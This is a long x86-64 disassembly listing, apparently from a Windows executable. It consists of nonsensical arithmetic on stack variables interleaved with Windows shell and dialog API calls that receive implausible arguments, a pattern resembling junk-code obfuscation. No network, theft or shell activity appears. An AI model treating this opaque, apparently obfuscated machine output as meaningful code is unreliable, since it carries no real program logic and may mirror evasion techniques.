mov rax, qword [rsp + 0xefe0]
movsx eax, byte [rax]
mov rcx, qword [0x14019f270]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x526], al
mov rax, qword [rsp + 0xda88]
mov rcx, qword [rsp + 0xd960]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7078], eax
mov rax, qword [rsp + 0xd908]
mov qword [rsp + 0xf330], rax
mov rax, qword [rsp + 0xddb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b00], ax
movzx eax, word [rsp + 0x2ec4]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019d2ec], ax
mov rax, qword [rsp + 0xdfa0]
mov rcx, qword [rsp + 0xe520]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0xd6a0]
mov rcx, qword [rsp + 0xd6d0]
mov qword [rsp + 0xf338], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf338]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xdb58], rax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf278]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa648], rax
movzx eax, word [rsp + 0x1048]
mov word [rsp + 0x303c], ax
mov rax, qword [rsp + 0xe3c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x562]
add eax, ecx
mov byte [rsp + 0x44d], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov qword [rsp + 0xf340], rax
mov rax, qword [rsp + 0xdd80]
mov rcx, qword [0x14019efc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xdd00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdb30]
mov ecx, dword [rsp + 0x7008]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6e7c], eax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019f040], ax
movzx eax, word [rsp + 0x2568]
movzx ecx, word [rsp + 0x2fb8]
shl eax, cl
mov word [rsp + 0x2dbc], ax
lea rcx, [rsp + 0x20930]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x7110], eax
movzx eax, word [rsp + 0x2d38]
mov word [rsp + 0x3040], ax
mov rax, qword [0x14019f3d0]
mov rcx, qword [rsp + 0xdf40]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd868], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55e]
add eax, ecx
mov byte [rsp + 0x4c8], al
mov eax, dword [rsp + 0x6454]
mov ecx, dword [rsp + 0x58c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e78], eax
mov rax, qword [rsp + 0xe850]
mov rcx, qword [rsp + 0xe580]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe418], rax
mov rax, qword [rsp + 0xf2e0]
movzx eax, word [rax]
mov word [rsp + 0x3044], ax
mov rax, qword [0x14019f5a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe730]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0xdfe8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdbc0]
sar rax, cl
mov qword [0x14019d1f0], rax
movzx eax, word [rsp + 0xb98]
mov word [rsp + 0x3048], ax
mov rax, qword [rsp + 0xd6d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9158]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0x90d8]
movzx ecx, al
mov rax, qword [rsp + 0xa1f0]
shl rax, cl
mov qword [rsp + 0xa538], rax
mov eax, dword [rsp + 0x6740]
imul eax, dword [rsp + 0x6db0]
mov dword [rsp + 0x5dc0], eax
mov rax, qword [rsp + 0xeb18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x551], al
movzx eax, byte [rsp + 0x59d]
mov byte [rsp + 0x5b0], al
mov eax, dword [0x14019efac]
mov ecx, dword [rsp + 0x60c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58e8], eax
mov rax, qword [rsp + 0xd658]
mov rcx, qword [rsp + 0xdfc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8e8], rax
movzx eax, word [rsp + 0x2df8]
mov word [0x14019f5dc], ax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13f0]
add eax, ecx
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0xefb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b54]
or eax, ecx
mov word [rsp + 0x1c08], ax
movzx eax, word [rsp + 0x2728]
mov word [rsp + 0x304c], ax
movsx eax, byte [0x14019ef97]
mov rcx, qword [rsp + 0xeca8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe7e8]
mov qword [rsp + 0xf348], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf348]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5c9c], eax
mov rax, qword [0x14019f3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd938]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd340], rax
movsx eax, word [rsp + 0x2fcc]
movsx ecx, word [rsp + 0x2e00]
xor eax, ecx
mov word [rsp + 0x300c], ax
movzx eax, word [rsp + 0x2648]
mov word [rsp + 0x3050], ax
mov rax, qword [rsp + 0xedd0]
mov rcx, qword [0x14019f030]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019d2f0], rax
mov rax, qword [rsp + 0xeb30]
mov rcx, qword [rsp + 0xab00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xee50], rax
mov rax, qword [rsp + 0xa538]
mov qword [rsp + 0xf350], rax
mov rax, qword [rsp + 0xdd78]
mov rcx, qword [rsp + 0x90d8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd890]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1660]
movzx ecx, word [rsp + 0x3020]
sar eax, cl
mov word [rsp + 0x2c04], ax
movzx eax, byte [rsp + 0x396]
mov rcx, qword [rsp + 0xf138]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0xee10]
mov ecx, dword [rsp + 0x6eb0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x64cc], eax
mov rax, qword [rsp + 0xa570]
mov qword [rsp + 0xf358], rax
mov rax, qword [rsp + 0xdd88]
mov ecx, dword [rsp + 0x6ea4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b64], eax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeb60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019ef9c], al
mov rax, qword [rsp + 0xe148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe348]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdf90]
mov word [rcx], ax
mov rax, qword [rsp + 0xd898]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2cf4]
add eax, ecx
mov word [rsp + 0x26c8], ax
movzx eax, word [rsp + 0x1494]
movzx ecx, word [rsp + 0x2ce0]
shl eax, cl
mov word [rsp + 0x2b24], ax
mov dword [rsp + 0x28], 0x3c
lea rax, [rsp + 0x209d0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd688]
mov r8d, 0x85
mov edx, 0xd8
mov rcx, qword [rsp + 0xdbf8]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6fc8], eax
mov rax, qword [rsp + 0xad88]
mov qword [rsp + 0xf360], rax
mov rax, qword [rsp + 0xe010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf330]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
movsx eax, byte [rsp + 0x3f1]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55e], al
lea rax, [0x14019f2cc]
mov qword [rsp + 0xf368], rax
movsx eax, word [rsp + 0x2c80]
movsx ecx, word [rsp + 0x2d10]
xor eax, ecx
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d58]
sar eax, cl
mov rcx, qword [0x14019f230]
mov word [rcx], ax
mov rax, qword [0x14019d2d0]
mov qword [rsp + 0xf370], rax
movzx eax, word [rsp + 0x2c04]
movzx ecx, word [rsp + 0x2b8c]
sub eax, ecx
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a88], eax
mov rax, qword [rsp + 0xe6d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe578]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xe7f8]
mov qword [rsp + 0xf378], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf378]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xf268], rax
lea rcx, [rsp + 0x20160]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6ec0], eax
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov dword [rsp + 0x7168], eax
xor edx, edx
mov rcx, qword [rsp + 0xcfd0]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
movsx eax, byte [0x14019ef92]
mov rcx, qword [rsp + 0xe3c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x585], al
movsx eax, word [rsp + 0x2e78]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdc0], ax
mov rax, qword [0x14019f220]
movzx eax, word [rax]
mov word [0x14019f5e0], ax
mov rax, qword [rsp + 0xd9d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdea0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xeee0], rax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb568]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe520], rax
movzx eax, word [rsp + 0xec0]
mov word [rsp + 0x3054], ax
movzx eax, word [rsp + 0x1cf4]
movzx ecx, word [rsp + 0x1cb4]
add eax, ecx
mov rcx, qword [rsp + 0xef28]
mov word [rcx], ax
mov rax, qword [rsp + 0xece8]
mov rax, qword [rax]
mov qword [rsp + 0xf380], rax
mov rax, qword [rsp + 0xe260]
movsx eax, byte [rax]
mov rcx, qword [0x14019f270]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c8], al
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70c0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xedb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fc8], rax
mov rax, qword [0x14019f1c0]
movzx eax, word [rax]
mov word [0x14019f5e4], ax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf1f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2f64], ax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov byte [rsp + 0x5b1], al
mov rax, qword [rsp + 0xf2d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d90]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e00], eax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe3a8]
mov qword [rsp + 0xf388], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf388]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe9f8], rax
mov rax, qword [rsp + 0xe408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf2f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac08], rax
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf0f8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4f5], al
mov eax, dword [rsp + 0x5a10]
mov dword [rsp + 0x716c], eax
movsx eax, word [rsp + 0x2f2c]
movsx ecx, word [rsp + 0x1698]
shl eax, cl
mov word [rsp + 0x2e78], ax
mov rax, qword [rsp + 0xe2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019d238], ax
mov rax, qword [rsp + 0xedb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdf68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc680], rax
mov rax, qword [rsp + 0xf1e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11d4], ax
mov rax, qword [rsp + 0xe3f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3008], ax
mov rax, qword [rsp + 0xe320]
mov qword [rsp + 0xf390], rax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa570]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe628], rax
mov rax, qword [rsp + 0xd488]
movzx eax, byte [rax]
mov byte [rsp + 0x5b2], al
mov rax, qword [rsp + 0xdc60]
mov ecx, dword [rsp + 0x5b3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x661c], eax
mov rax, qword [rsp + 0xead0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd7a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a54], ax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd6a0]
sar rax, cl
mov qword [0x14019f310], rax
lea rax, [rsp + 0x5b24]
mov qword [rsp + 0xf398], rax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5ae], al
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f78]
sub eax, ecx
mov word [rsp + 0x1954], ax
mov rax, qword [0x14019efd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca8]
add eax, ecx
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0xe580]
mov rcx, qword [rsp + 0xe7f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd18], rax
movzx eax, byte [rsp + 0x461]
mov byte [rsp + 0x5b3], al
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019f5b4]
shl eax, cl
mov dword [rsp + 0x701c], eax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ec8]
sar eax, cl
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3014]
or eax, ecx
mov word [0x14019d2f8], ax
mov rax, qword [rsp + 0xd860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xeb00], rax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov qword [rsp + 0xf3a0], rax
mov rax, qword [rsp + 0xcac8]
mov rcx, qword [rsp + 0xad58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xef68], rax
movsx eax, word [rsp + 0x2ad8]
movsx ecx, word [rsp + 0x1db8]
xor eax, ecx
mov word [rsp + 0x2d24], ax
mov eax, dword [rsp + 0x6f54]
mov dword [rsp + 0x7170], eax
mov rax, qword [0x14019f340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf318]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4f8], al
mov rax, qword [rsp + 0xdea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xede8]
mov qword [rsp + 0xf3a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf3a8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x94d8], rax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf050]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3c3], al
mov rax, qword [rsp + 0xee10]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6104], eax
mov rax, qword [rsp + 0xd398]
movzx eax, word [rax]
mov word [0x14019f5e8], ax
lea r9, [rsp + 0xd8d8]
lea r8, [rsp + 0xd9c8]
mov edx, ILIsParent
mov ecx, 0xa2
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
movzx eax, word [rsp + 0x2c7c]
mov word [rsp + 0x3058], ax
movzx eax, word [rsp + 0x2ca0]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2648], ax
mov rax, qword [rsp + 0xe9c0]
mov rcx, qword [rsp + 0x92b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8b0], rax
mov eax, dword [rsp + 0x5ef8]
mov ecx, dword [rsp + 0x6efc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xdea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xefd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2a0], rax
mov rax, qword [rsp + 0xe7c0]
movzx eax, byte [rax]
mov byte [rsp + 0x5b4], al
movsx eax, word [0x14019f338]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xed08]
mov word [rcx], ax
lea rax, [rsp + 0xcf00]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x7b
mov r9d, 0x60
mov r8d, 0x90
mov edx, SHGetNewLinkInfoW
mov rcx, qword [rsp + 0xe890]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x6d1c], eax
movzx eax, word [rsp + 0x2d3c]
mov word [rsp + 0x305c], ax
mov rax, qword [rsp + 0xc998]
movzx ecx, al
mov rax, qword [rsp + 0xad38]
shl rax, cl
mov qword [0x14019f4c0], rax
movzx eax, word [0x14019f250]
movzx ecx, word [rsp + 0xc14]
sar eax, cl
mov word [rsp + 0x2ee8], ax
mov rax, qword [rsp + 0xb568]
mov rcx, qword [rsp + 0x9b98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb020], rax
mov rax, qword [rsp + 0xe3a8]
mov rcx, qword [rsp + 0x94a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcaf0], rax
movsx eax, byte [rsp + 0x4ad]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xa1], al
lea rax, [rsp + 0xddd8]
mov qword [rsp + 0xf3b0], rax
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a88]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ac4], eax
movzx eax, byte [rsp + 0x570]
mov byte [rsp + 0x5b5], al
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xf368]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5974], eax
mov rax, qword [0x14019f4c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe3f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019d234], ax
movsx eax, word [rsp + 0x24b8]
mov rcx, qword [rsp + 0xe148]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b30], ax
lea rax, [rsp + 0x3020]
mov qword [rsp + 0xf3b8], rax
movzx eax, word [rsp + 0x2380]
movzx ecx, word [rsp + 0x2ca4]
sub eax, ecx
mov rcx, qword [rsp + 0xd4a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xeed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov ecx, dword [0x14019d0b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6774], eax
mov rax, qword [rsp + 0xea78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe418], rax
movzx eax, word [rsp + 0x2d6c]
mov word [rsp + 0x3060], ax
movzx eax, word [rsp + 0x2f90]
movzx ecx, word [rsp + 0x2de0]
or eax, ecx
mov word [rsp + 0x2f38], ax
lea rax, [rsp + 0xf3a0]
mov qword [0x14019f5f0], rax
mov rax, qword [rsp + 0xe650]
mov rax, qword [rax]
mov qword [rsp + 0xf3c0], rax
mov rax, qword [0x14019f1f8]
mov rcx, qword [rsp + 0xe6d8]
mov qword [rsp + 0xf3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf3c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xf208], rax
mov rax, qword [rsp + 0xed48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd830]
shl rax, cl
mov qword [rsp + 0xb370], rax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xd480]
mov rcx, qword [rsp + 0xed00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f48], eax
movzx eax, byte [rsp + 0x566]
mov byte [rsp + 0x5b6], al
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cf8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7070], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe5d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0xbfa0]
movzx ecx, al
mov rax, qword [rsp + 0xe838]
shl rax, cl
mov rcx, qword [0x14019f2e8]
mov qword [rcx], rax
movsx eax, word [0x14019d258]
movsx ecx, word [rsp + 0x2bfc]
sar eax, cl
mov word [rsp + 0x2d98], ax
mov rax, qword [rsp + 0xe598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b00]
or eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
mov word [rsp + 0x3064], ax
mov rax, qword [0x14019f048]
mov rcx, qword [rsp + 0xe8f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd5e8], rax
mov rax, qword [rsp + 0xece8]
mov rcx, qword [rsp + 0xef78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb4a8], rax
movsx eax, byte [rsp + 0xc7]
movsx ecx, byte [rsp + 0x509]
add eax, ecx
mov byte [rsp + 0x588], al
mov rax, qword [rsp + 0xde78]
mov rcx, qword [rsp + 0xdfa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x70f0], eax
movzx eax, word [rsp + 0x2ee0]
mov word [rsp + 0x3068], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [0x14019f360]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d2fc], ax
mov rax, qword [rsp + 0xef80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xf3a0]
sar rax, cl
mov rcx, qword [rsp + 0xd1c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
mov word [rsp + 0x306c], ax
mov rax, qword [rsp + 0xe578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe420]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xdd98]
mov byte [rcx], al
mov eax, dword [rsp + 0x7120]
mov ecx, dword [rsp + 0x70a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d08], eax
movsx eax, byte [rsp + 0x56a]
movsx ecx, byte [0x14019d011]
and eax, ecx
mov byte [rsp + 0x221], al
mov rax, qword [rsp + 0xea00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeac8]
mov qword [rsp + 0xf3d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf3d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
mov dword [rsp + 0x7174], eax
movsx eax, word [rsp + 0x2fe0]
mov rcx, qword [0x14019f2d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd420]
mov word [rcx], ax
movzx eax, word [rsp + 0x2d64]
movzx ecx, word [rsp + 0x2d8c]
shl eax, cl
mov word [0x14019f2c8], ax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xa1a8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe9f8], rax
mov rax, qword [rsp + 0x9d98]
mov rcx, qword [rsp + 0xf178]
mov qword [rsp + 0xf3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf3d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb6d0], rax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a3c]
sub eax, ecx
mov word [rsp + 0x2bb4], ax
mov rax, qword [0x14019f3c8]
movzx eax, word [rax]
mov word [rsp + 0x3070], ax
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov byte [rsp + 0x522], al
mov rax, qword [rsp + 0xddd8]
mov qword [rsp + 0xf3e0], rax
mov rax, qword [rsp + 0xdfa8]
mov ecx, dword [rsp + 0x712c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5a94], eax
mov rax, qword [rsp + 0xdf40]
mov rcx, qword [rsp + 0xc468]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe0c0], rax
mov rax, qword [rsp + 0xce08]
movzx eax, word [rax]
mov word [0x14019f5f8], ax
lea rax, [rsp + 0x1b18]
mov qword [rsp + 0xf3e8], rax
movzx eax, byte [rsp + 0x4fa]
movzx ecx, byte [rsp + 0x3dd]
add eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0xe550]
mov rcx, qword [rsp + 0xebb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5acc], eax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [rsp + 0xaf10]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb6b0], rax
movsx eax, byte [rsp + 0x571]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xefc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov dword [rsp + 0x7178], eax
mov rax, qword [rsp + 0xea78]
mov rax, qword [rax]
mov rcx, qword [0x14019d020]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb48], rax
movsx eax, word [rsp + 0x2d00]
mov rcx, qword [rsp + 0xd818]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1900], ax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f34]
sar eax, cl
mov word [0x14019d300], ax
mov rax, qword [rsp + 0xe8f0]
mov rcx, qword [rsp + 0xa5f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0xecd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2aac], ax
movzx eax, word [0x14019d0f8]
mov word [rsp + 0x3074], ax
mov rax, qword [rsp + 0xe000]
mov rcx, qword [rsp + 0xdd90]
mov qword [rsp + 0xf3f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf3f0]
mov rax, qword [rax]
shl rax, cl
